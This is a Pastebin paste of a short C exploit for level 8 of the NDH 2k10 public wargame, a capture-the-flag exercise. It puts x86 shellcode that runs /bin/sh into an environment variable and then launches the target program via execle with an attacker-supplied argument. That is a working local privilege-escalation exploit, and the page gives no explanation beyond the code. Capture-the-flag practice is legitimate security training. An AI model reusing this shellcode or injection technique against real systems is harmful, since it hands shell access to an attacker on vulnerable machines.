Advertisement
raisep0wn

NDH 2k10 public wargame, level8, exploit

May 18th, 2011
267
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.48 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4.  
  5. char target_path[] = "/home/level8/level8";
  6. char *env[] = {"SHLVL=0", "PWD=/tmp/level8", "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh", (char *)0};
  7.  
  8. int main(int argc, char* argv[])
  9. {
  10.  if(!execle(target_path, target_path, argv[1], (char *)0, env))
  11.  {
  12.   perror("Unable to execute target.");
  13.   exit(1);
  14.  }
  15. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement